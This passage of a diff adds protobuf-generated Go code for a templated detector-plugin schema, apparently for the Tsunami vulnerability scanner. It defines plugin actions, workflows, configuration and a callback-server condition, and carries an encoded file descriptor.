+ _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type PluginWorkflow_Condition int32 + +const ( + PluginWorkflow_CONDITION_UNSPECIFIED PluginWorkflow_Condition = 0 + PluginWorkflow_REQUIRES_CALLBACK_SERVER PluginWorkflow_Condition = 1 +) + +// Enum value maps for PluginWorkflow_Condition. +var ( + PluginWorkflow_Condition_name = map[int32]string{ + 0: "CONDITION_UNSPECIFIED", + 1: "REQUIRES_CALLBACK_SERVER", + } + PluginWorkflow_Condition_value = map[string]int32{ + "CONDITION_UNSPECIFIED": 0, + "REQUIRES_CALLBACK_SERVER": 1, + } +) + +func (x PluginWorkflow_Condition) Enum() *PluginWorkflow_Condition { + p := new(PluginWorkflow_Condition) + *p = x + return p +} + +func (x PluginWorkflow_Condition) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (PluginWorkflow_Condition) Descriptor() protoreflect.EnumDescriptor { + return file_templated_plugin_proto_enumTypes[0].Descriptor() +} + +func (PluginWorkflow_Condition) Type() protoreflect.EnumType { + return &file_templated_plugin_proto_enumTypes[0] +} + +func (x PluginWorkflow_Condition) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use PluginWorkflow_Condition.Descriptor instead. +func (PluginWorkflow_Condition) EnumDescriptor() ([]byte, []int) { + return file_templated_plugin_proto_rawDescGZIP(), []int{1, 0} +} + +// An action is a single unit of work that the plugin can perform. For example +// sending an HTTP request. Each returns a boolean indicating whether the +// action was successful and the last running action defines whether the +// plugin is considered successful (the vulnerability was found). +type PluginAction struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Each action must have a unique name that will be referenced in the + // workflows. It must be named using the `[a-zA-Z0-9_]` character set. + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + // A set of cleanup action to be executed if this action is successful. + // Once the current action succeed, the cleanups are registered and will + // always be executed after the last workflow action, whether it is successful + // or not. + CleanupActions []string `protobuf:"bytes,2,rep,name=cleanup_actions,json=cleanupActions,proto3" json:"cleanup_actions,omitempty"` + // Each action can have one of the following types. + // + // Types that are valid to be assigned to AnyAction: + // + // *PluginAction_HttpRequest + // *PluginAction_CallbackServer + // *PluginAction_Utility + AnyAction isPluginAction_AnyAction `protobuf_oneof:"any_action"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *PluginAction) Reset() { + *x = PluginAction{} + mi := &file_templated_plugin_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *PluginAction) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*PluginAction) ProtoMessage() {} + +func (x *PluginAction) ProtoReflect() protoreflect.Message { + mi := &file_templated_plugin_proto_msgTypes[0] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use PluginAction.ProtoReflect.Descriptor instead. +func (*PluginAction) Descriptor() ([]byte, []int) { + return file_templated_plugin_proto_rawDescGZIP(), []int{0} +} + +func (x *PluginAction) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *PluginAction) GetCleanupActions() []string { + if x != nil { + return x.CleanupActions + } + return nil +} + +func (x *PluginAction) GetAnyAction() isPluginAction_AnyAction { + if x != nil { + return x.AnyAction + } + return nil +} + +func (x *PluginAction) GetHttpRequest() *HttpAction { + if x != nil { + if x, ok := x.AnyAction.(*PluginAction_HttpRequest); ok { + return x.HttpRequest + } + } + return nil +} + +func (x *PluginAction) GetCallbackServer() *CallbackServerAction { + if x != nil { + if x, ok := x.AnyAction.(*PluginAction_CallbackServer); ok { + return x.CallbackServer + } + } + return nil +} + +func (x *PluginAction) GetUtility() *UtilityAction { + if x != nil { + if x, ok := x.AnyAction.(*PluginAction_Utility); ok { + return x.Utility + } + } + return nil +} + +type isPluginAction_AnyAction interface { + isPluginAction_AnyAction() +} + +type PluginAction_HttpRequest struct { + HttpRequest *HttpAction `protobuf:"bytes,3,opt,name=http_request,json=httpRequest,proto3,oneof"` +} + +type PluginAction_CallbackServer struct { + CallbackServer *CallbackServerAction `protobuf:"bytes,4,opt,name=callback_server,json=callbackServer,proto3,oneof"` +} + +type PluginAction_Utility struct { + Utility *UtilityAction `protobuf:"bytes,5,opt,name=utility,proto3,oneof"` +} + +func (*PluginAction_HttpRequest) isPluginAction_AnyAction() {} + +func (*PluginAction_CallbackServer) isPluginAction_AnyAction() {} + +func (*PluginAction_Utility) isPluginAction_AnyAction() {} + +// A workflow is a sequence of actions taken in linear order. Having different +// workflows allows the plugin to cover different scenarios based on the +// current Tsunami runtime, for example if the callback server is running. +// Workflows should be defined in order of priority, the first matching workflow +// will be the one selected for running. +type PluginWorkflow struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The condition that must be met for this workflow to be selected to run. + Condition PluginWorkflow_Condition `protobuf:"varint,1,opt,name=condition,proto3,enum=tsunami_templated_detector.PluginWorkflow_Condition" json:"condition,omitempty"` + // Variables defined at the workflow level that will be available to all + // actions running in this workflow. These variables are reset to the value + // defined here between each workflow run. + Variables []*PluginWorkflow_Variable `protobuf:"bytes,2,rep,name=variables,proto3" json:"variables,omitempty"` + // List of actions (by name) to be run in this workflow. + Actions []string `protobuf:"bytes,3,rep,name=actions,proto3" json:"actions,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *PluginWorkflow) Reset() { + *x = PluginWorkflow{} + mi := &file_templated_plugin_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *PluginWorkflow) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*PluginWorkflow) ProtoMessage() {} + +func (x *PluginWorkflow) ProtoReflect() protoreflect.Message { + mi := &file_templated_plugin_proto_msgTypes[1] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use PluginWorkflow.ProtoReflect.Descriptor instead. +func (*PluginWorkflow) Descriptor() ([]byte, []int) { + return file_templated_plugin_proto_rawDescGZIP(), []int{1} +} + +func (x *PluginWorkflow) GetCondition() PluginWorkflow_Condition { + if x != nil { + return x.Condition + } + return PluginWorkflow_CONDITION_UNSPECIFIED +} + +func (x *PluginWorkflow) GetVariables() []*PluginWorkflow_Variable { + if x != nil { + return x.Variables + } + return nil +} + +func (x *PluginWorkflow) GetActions() []string { + if x != nil { + return x.Actions + } + return nil +} + +// Each plugin can be slightly configured. For example, it can be disabled or +// debug mode can be enabled. +type PluginConfig struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Whether the plugin is to be disabled. By default, plugins are enabled. So + // we recommend using this option only to explicitly disable a plugin. + Disabled bool `protobuf:"varint,1,opt,name=disabled,proto3" json:"disabled,omitempty"` + // Debug mode enables very verbose logging for the plugin. For example, for + // HTTP requests, every request and response will be logged. + Debug bool `protobuf:"varint,2,opt,name=debug,proto3" json:"debug,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *PluginConfig) Reset() { + *x = PluginConfig{} + mi := &file_templated_plugin_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *PluginConfig) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*PluginConfig) ProtoMessage() {} + +func (x *PluginConfig) ProtoReflect() protoreflect.Message { + mi := &file_templated_plugin_proto_msgTypes[2] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use PluginConfig.ProtoReflect.Descriptor instead. +func (*PluginConfig) Descriptor() ([]byte, []int) { + return file_templated_plugin_proto_rawDescGZIP(), []int{2} +} + +func (x *PluginConfig) GetDisabled() bool { + if x != nil { + return x.Disabled + } + return false +} + +func (x *PluginConfig) GetDebug() bool { + if x != nil { + return x.Debug + } + return false +} + +type TemplatedPlugin struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Plugin metadata, such as its name, author and description. + Info *tsunami_go_proto.PluginInfo `protobuf:"bytes,1,opt,name=info,proto3" json:"info,omitempty"` + // Finding that this plugin will report if it finds a vulnerability. + Finding *tsunami_go_proto.Vulnerability `protobuf:"bytes,2,opt,name=finding,proto3" json:"finding,omitempty"` + // Plugin-level configuration. For example, to enable debug mode. + Config *PluginConfig `protobuf:"bytes,3,opt,name=config,proto3" json:"config,omitempty"` + // Actions that the plugin can run. + Actions []*PluginAction `protobuf:"bytes,4,rep,name=actions,proto3" json:"actions,omitempty"` + // Workflows that the plugin can run. + Workflows []*PluginWorkflow `protobuf:"bytes,5,rep,name=workflows,proto3" json:"workflows,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TemplatedPlugin) Reset() { + *x = TemplatedPlugin{} + mi := &file_templated_plugin_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TemplatedPlugin) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TemplatedPlugin) ProtoMessage() {} + +func (x *TemplatedPlugin) ProtoReflect() protoreflect.Message { + mi := &file_templated_plugin_proto_msgTypes[3] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TemplatedPlugin.ProtoReflect.Descriptor instead. +func (*TemplatedPlugin) Descriptor() ([]byte, []int) { + return file_templated_plugin_proto_rawDescGZIP(), []int{3} +} + +func (x *TemplatedPlugin) GetInfo() *tsunami_go_proto.PluginInfo { + if x != nil { + return x.Info + } + return nil +} + +func (x *TemplatedPlugin) GetFinding() *tsunami_go_proto.Vulnerability { + if x != nil { + return x.Finding + } + return nil +} + +func (x *TemplatedPlugin) GetConfig() *PluginConfig { + if x != nil { + return x.Config + } + return nil +} + +func (x *TemplatedPlugin) GetActions() []*PluginAction { + if x != nil { + return x.Actions + } + return nil +} + +func (x *TemplatedPlugin) GetWorkflows() []*PluginWorkflow { + if x != nil { + return x.Workflows + } + return nil +} + +type PluginWorkflow_Variable struct { + state protoimpl.MessageState `protogen:"open.v1"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *PluginWorkflow_Variable) Reset() { + *x = PluginWorkflow_Variable{} + mi := &file_templated_plugin_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *PluginWorkflow_Variable) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*PluginWorkflow_Variable) ProtoMessage() {} + +func (x *PluginWorkflow_Variable) ProtoReflect() protoreflect.Message { + mi := &file_templated_plugin_proto_msgTypes[4] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use PluginWorkflow_Variable.ProtoReflect.Descriptor instead. +func (*PluginWorkflow_Variable) Descriptor() ([]byte, []int) { + return file_templated_plugin_proto_rawDescGZIP(), []int{1, 0} +} + +func (x *PluginWorkflow_Variable) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *PluginWorkflow_Variable) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +var File_templated_plugin_proto protoreflect.FileDescriptor + +var file_templated_plugin_proto_rawDesc = string([]byte{ + 0x0a, 0x16, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x70, 0x6c, 0x75, 0x67, + 0x69, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x1a, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, + 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, + 0x63, 0x74, 0x6f, 0x72, 0x1a, 0x1b, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x5f, 0x72, 0x65, 0x70, + 0x72, 0x65, 0x73, 0x65, 0x6e, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x1a, 0x13, 0x76, 0x75, 0x6c, 0x6e, 0x65, 0x72, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x11, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x68, + 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1b, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x5f, 0x63, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x12, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x75, + 0x74, 0x69, 0x6c, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xca, 0x02, 0x0a, 0x0c, 0x50, + 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x27, 0x0a, 0x0f, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x5f, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, + 0x70, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4b, 0x0a, 0x0c, 0x68, 0x74, 0x74, 0x70, + 0x5f, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x26, + 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x0b, 0x68, 0x74, 0x74, 0x70, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0f, 0x63, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, + 0x6b, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x30, + 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x43, 0x61, 0x6c, 0x6c, + 0x62, 0x61, 0x63, 0x6b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x48, 0x00, 0x52, 0x0e, 0x63, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x12, 0x45, 0x0a, 0x07, 0x75, 0x74, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, + 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, + 0x2e, 0x55, 0x74, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, + 0x52, 0x07, 0x75, 0x74, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x42, 0x0c, 0x0a, 0x0a, 0x61, 0x6e, 0x79, + 0x5f, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xcd, 0x02, 0x0a, 0x0e, 0x50, 0x6c, 0x75, 0x67, + 0x69, 0x6e, 0x57, 0x6f, 0x72, 0x6b, 0x66, 0x6c, 0x6f, 0x77, 0x12, 0x52, 0x0a, 0x09, 0x63, 0x6f, + 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x34, 0x2e, + 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x50, 0x6c, 0x75, 0x67, 0x69, + 0x6e, 0x57, 0x6f, 0x72, 0x6b, 0x66, 0x6c, 0x6f, 0x77, 0x2e, 0x43, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x51, + 0x0a, 0x09, 0x76, 0x61, 0x72, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x33, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, + 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x50, + 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x57, 0x6f, 0x72, 0x6b, 0x66, 0x6c, 0x6f, 0x77, 0x2e, 0x56, 0x61, + 0x72, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x09, 0x76, 0x61, 0x72, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x73, 0x12, 0x18, 0x0a, 0x07, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, + 0x28, 0x09, 0x52, 0x07, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x1a, 0x34, 0x0a, 0x08, 0x56, + 0x61, 0x72, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0x44, 0x0a, 0x09, 0x43, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x19, + 0x0a, 0x15, 0x43, 0x4f, 0x4e, 0x44, 0x49, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x55, 0x4e, 0x53, 0x50, + 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x1c, 0x0a, 0x18, 0x52, 0x45, 0x51, + 0x55, 0x49, 0x52, 0x45, 0x53, 0x5f, 0x43, 0x41, 0x4c, 0x4c, 0x42, 0x41, 0x43, 0x4b, 0x5f, 0x53, + 0x45, 0x52, 0x56, 0x45, 0x52, 0x10, 0x01, 0x22, 0x40, 0x0a, 0x0c, 0x50, 0x6c, 0x75, 0x67, 0x69, + 0x6e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x64, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x64, 0x65, 0x62, 0x75, 0x67, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x05, 0x64, 0x65, 0x62, 0x75, 0x67, 0x22, 0xc8, 0x02, 0x0a, 0x0f, 0x54, 0x65, + 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x50, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x12, 0x2d, 0x0a, + 0x04, 0x69, 0x6e, 0x66, 0x6f, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x73, + 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2e, 0x50, 0x6c, 0x75, 0x67, + 0x69, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x36, 0x0a, 0x07, + 0x66, 0x69, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2e, 0x56, 0x75, + 0x6c, 0x6e, 0x65, 0x72, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x52, 0x07, 0x66, 0x69, 0x6e, + 0x64, 0x69, 0x6e, 0x67, 0x12, 0x40, 0x0a, 0x06, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, + 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, + 0x72, 0x2e, 0x50, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, + 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x42, 0x0a, 0x07, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, + 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, + 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x50, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x07, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x48, 0x0a, 0x09, 0x77, 0x6f, + 0x72, 0x6b, 0x66, 0x6c, 0x6f, 0x77, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2a, 0x2e, + 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x50, 0x6c, 0x75, 0x67, 0x69, + 0x6e, 0x57, 0x6f, 0x72, 0x6b, 0x66, 0x6c, 0x6f, 0x77, 0x52, 0x09, 0x77, 0x6f, 0x72, 0x6b, 0x66, + 0x6c, 0x6f, 0x77, 0x73, 0x42, 0x9c, 0x01, 0x0a, 0x28, 0x63, 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2e, 0x74, 0x65, 0x6d, 0x70, + 0x6c, 0x61, 0x74, 0x65, 0x64, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x50, 0x01, 0x5a, 0x6e, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2d, 0x73, + 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x2d, 0x73, 0x63, 0x61, 0x6e, 0x6e, 0x65, 0x72, 0x2d, + 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x73, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x64, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x64, 0x65, 0x74, 0x65, 0x63, + 0x74, 0x6f, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, + 0x74, 0x65, 0x64, 0x5f, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x5f, 0x67, 0x6f, 0x5f, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +}) + +var ( + file_templated_plugin_proto_rawDescOnce sync.Once + file_templated_plugin_proto_rawDescData []byte +) + +func file_templated_plugin_proto_rawDescGZIP() []byte { + file_templated_plugin_proto_rawDescOnce.Do(func() { + file_templated_plugin_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_templated_plugin_proto_rawDesc), len(file_templated_plugin_proto_rawDesc))) + }) + return file_templated_plugin_proto_rawDescData +} + +var file_templated_plugin_proto_enumTypes = make([]protoimpl.EnumInfo, 1) +var file_templated_plugin_proto_msgTypes = make([]protoimpl.MessageInfo, 5) +var file_templated_plugin_proto_goTypes = []any{ + (PluginWorkflow_Condition)(0), // 0: tsunami_templated_detector.PluginWorkflow.Condition + (*PluginAction)(nil), // 1: tsunami_templated_detector.PluginAction + (*PluginWorkflow)(nil), // 2: tsunami_templated_detector.PluginWorkflow + (*PluginConfig)(nil), // 3: tsunami_templated_detector.PluginConfig + (*TemplatedPlugin)(nil), // 4: tsunami_templated_detector.TemplatedPlugin + (*PluginWorkflow_Variable)(nil), // 5: tsunami_templated_detector.PluginWorkflow.Variable + (*HttpAction)(nil), // 6: tsunami_templated_detector.HttpAction + (*CallbackServerAction)(nil), // 7: tsunami_templated_detector.CallbackServerAction + (*UtilityAction)(nil), // 8: tsunami_templated_detector.UtilityAction + (*tsunami_go_proto.PluginInfo)(nil), // 9: tsunami.proto.PluginInfo + (*tsunami_go_proto.Vulnerability)(nil), // 10: tsunami.proto.Vulnerability +} +var file_templated_plugin_proto_depIdxs = []int32{ + 6, // 0: tsunami_templated_detector.PluginAction.http_request:type_name -> tsunami_templated_detector.HttpAction + 7, // 1: tsunami_templated_detector.PluginAction.callback_server:type_name -> tsunami_templated_detector.CallbackServerAction + 8, // 2: tsunami_templated_detector.PluginAction.utility:type_name -> tsunami_templated_detector.UtilityAction + 0, // 3: tsunami_templated_detector.PluginWorkflow.condition:type_name -> tsunami_templated_detector.PluginWorkflow.Condition + 5, // 4: tsunami_templated_detector.PluginWorkflow.variables:type_name -> tsunami_templated_detector.PluginWorkflow.Variable + 9, // 5: tsunami_templated_detector.TemplatedPlugin.info:type_name -> tsunami.proto.PluginInfo + 10, // 6: tsunami_templated_detector.TemplatedPlugin.finding:type_name -> tsunami.proto.Vulnerability + 3, // 7: tsunami_templated_detector.TemplatedPlugin.config:type_name -> tsunami_templated_detector.PluginConfig + 1, // 8: tsunami_templated_detector.TemplatedPlugin.actions:type_name -> tsunami_templated_detector.PluginAction + 2, // 9: tsunami_templated_detector.TemplatedPlugin.workflows:type_name -> tsunami_templated_detector.PluginWorkflow + 10, // [10:10] is the sub-list for method output_type + 